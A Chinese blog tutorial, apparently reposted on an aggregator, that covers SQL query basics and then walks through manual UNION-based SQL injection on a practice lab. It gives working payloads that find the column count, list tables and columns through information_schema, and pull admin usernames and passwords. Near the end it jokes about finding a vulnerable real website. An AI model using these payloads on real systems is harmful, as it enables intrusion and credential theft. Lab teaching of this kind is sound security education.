SQL查询语句&注入实战(手注)
Posted HUTEROX
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL查询语句&注入实战(手注)相关的知识,希望对你有一定的参考价值。
目录
前言
说个笑话,全世界都能被注入,就是注入不了你的心。
(潜台词,你不属于全世界的集合,假设你属于人类集合,人类属于世界集合,你不属于世界集合,所以你不属于人类集合,所以得出结论:你不是人!!!)
条件查询
先来看看环境下的表
怎么个条件查询法,其实就是加个where 语句
下面举个例子。
假设现在提取出小明
select * from hello where id=1;
或者
select * from hello where name="小明";
或者
select * from hello where name="小明" or id = 1;
或者
select * from hello where id=1 and age=15;
查询顺序
order by
在sql里面默认是降序desc,从小到大依次向下排序。
默认顺序。
select * from hello;
#select * from hello order by desc;
但是重点不是这个。
是这个
select * from hello order by 1;
select * from hello order by 3;
仔细看下面两个结果
你会发现这个和
select * from hello order by id;
select * from hello order by age;
是等价的。
那么这个具体有什么用呢,当然不仅仅只是为了排序,其实还是在注入的时候看看有几个字段。
举个例子
Limit限制结果
limit x,y
x指从哪里开始(从0开始算) y是指从x开始取多少个。
例如 limit 0,2
则取到了
第一个,第二个
以此类推
例如 limit 1,2
则取到了
第二个,第三个
联合查询
先举个例子
提取名字和年龄,使用联合查询。
select name from hello union select age from hello;
这个就是将两个不同的结果合在一起。
下面注意两点:
第一那个联合部分的查询可以是不同的两个表。
第二那就是联合查询的两个结果必须列相同。
举个例子:
下面再注意一个结果
显错位
这个,首先我们得知道那个查询语句前半段返回的字段数。有啥用是吧,看下面那个后有关例子。
怎么个玩法,看结果示例就好了。
SQL内置函数
查看数据库名
select database();
查看用户
查看版本
回接上小结
自带数据库和表
这个是自带的,主要是存放一些表,数据库,用户信息的。这个很重要,基本上搞渗透注入的都是这个切入点,获取到数据库的用户和密码。
比如这个表的相关
下面是个例子:
mycli辅助命令
这个是个好东西,用python写的,作用就是有命令提示,让你操作更加方便。
Sql注入类型
这个分为两种,一种是整形注入,一种是字符注入。
这两个玩意有什么区别,或者说为什么分为这个两种,其实还是因为查询语句的问题。
一个url网址里面,一个很典型的就是“?id=内容"之类的这个后面的id=1结合到后台的数据交互会生成一个查询语句,举个例子:
https://hello.com?id=5假设这个是页面切换的网址
那么对应的sql查询语句可能就是
select html_view from html_views where id = 5 这个就是整形
或者
select html_view from html_views where id = '5'这个就是字符
现在我们试一下
1+1
显然,这玩意把那个当字符处理了,按道理,如果是整形的话1+1 是2 那么会返回这个页面
现在试试,把所有的那个数据拿到手,进行注入,这个是低级的所以没有过滤,直接注入。
这里相当于组成了这样一种语句
select * from table where id='' or 1=1#';
那个只是相当于。此外,这个不是盲注,有明显的提示,是一个比较基础的靶场。看着乐就好了。这个例子主要是介绍注入类型。
实战靶场
要不是我菜,要不是那啥,正紧人谁去靶场呀。
这个是一个经典例题
我们搞到他的管理员密码
判断类型是否存在注入点,类型
其实直接说就是那个id注入点,但是是什么类型这个得看看是吧。
要是字符注入还得加个#号是吧。
看看他有几个字段
这个就是靠运气取猜测
3不行
猜出两个
数据库查询
怎么个玩法呢,看这个
所以,获取,数据库去
获取表名字
这个其实就是看看而已,我这里说明白一点。
还记得先前的那条指令吗
union select table_name from information_schema.tables where table_schema='huterox';
改一下
先介绍一个group_concat()函数
这个其实是查看当前字段下有哪些值
union select table_name from information_schema.tables where table_schema='maoshe';
我们查询到当前表,也就是存放maoshe的表的字段名字,我们还要获取里面的值,这样才知道这个里面有那些表。
所以加个工
union select group_concat(table_name) from information_schema.tables where table_schema='maoshe'
爆字段名
盲猜一波就是admin了,里面有我想要的。
我们搞一下admin用户里面有啥。
union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#
获取密码,查看password字段值
union select 1,group_concat(username,":",password) from maoshe.admin
总结
1.猜出有几个字段
2.知道了几个字段之后利用联合查询的进行搞事情
3.知道sql的一些内置的数据库,比如表放在哪里之类的。
4.运气好,搞到一个有漏洞的网站,除了靶场。
重点
知道数据库有哪些
猜测用户表在是哪一个
猜测用户表里面的字段有哪些
提取字段值
以上是关于SQL查询语句&注入实战(手注)的主要内容,如果未能解决你的问题,请参考以下文章